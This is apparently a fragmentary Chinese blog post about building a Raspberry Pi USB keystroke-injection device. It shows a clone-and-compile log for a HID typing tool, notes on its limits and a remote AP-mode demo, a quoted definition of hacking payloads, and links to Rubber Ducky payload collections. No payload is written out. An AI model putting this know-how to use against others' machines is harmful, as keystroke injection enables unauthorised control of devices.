65 | 1root@raspberrypi:/tmp# git clone https://github.com/girst/hardpass-passwordmanager
2Cloning into 'hardpass-passwordmanager'...
3remote: Enumerating objects: 446, done.
4remote: Total 446 (delta 0), reused 0 (delta 0), pack-reused 446
5Receiving objects: 100% (446/446), 2.00 MiB | 66.00 KiB/s, done.
6Resolving deltas: 100% (263/263), done.
7Checking out files: 100% (165/165), done.
8root@raspberrypi:/tmp# cd hardpass-passwordmanager/send_hid/
9root@raspberrypi:/tmp/hardpass-passwordmanager/send_hid# ls
10LICENSE Makefile README.md hardpass-demo.sh main.c scan scancodes.c scancodes.h
11root@raspberrypi:/tmp/hardpass-passwordmanager/send_hid# make
12gcc -std=c99 -Wall -Werror main.c scancodes.c -o scan
67 | 编译生成的scan工具可以完成字符串的输入
缺点:只能实现字符串输入,无法实现控制字符串如GUI r等操作(可通过改源码实现)
视频中演示了payload脚本模式和与AP模式结合时远程控制
70 | 73 |76 |80 |Well, a payload can be considered to be somewhat similar to a virus. A payload is a set of malicious codes 77 | that carry crucial information that can be used to hack any device beyond limits that you can't imagine. … 78 | Generally, a payload refers to a set of codes which a hacker designs according to his/her requirements.
79 |
what is payload in hacking(https://www.cybrary.it/0p3n/payload-the-hacking-beyond-imagination/)
82 |
Payloads(https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)
83 |
hardpass-passwordmanager(https://github.com/girst/hardpass-passwordmanager)
84 |
pi-as-keyboard(https://github.com/c4software/pi-as-keyboard)
HID Usage Tables
85 | 1.12(https://usb.org/sites/default/files/documents/hut1_12v2.pdf)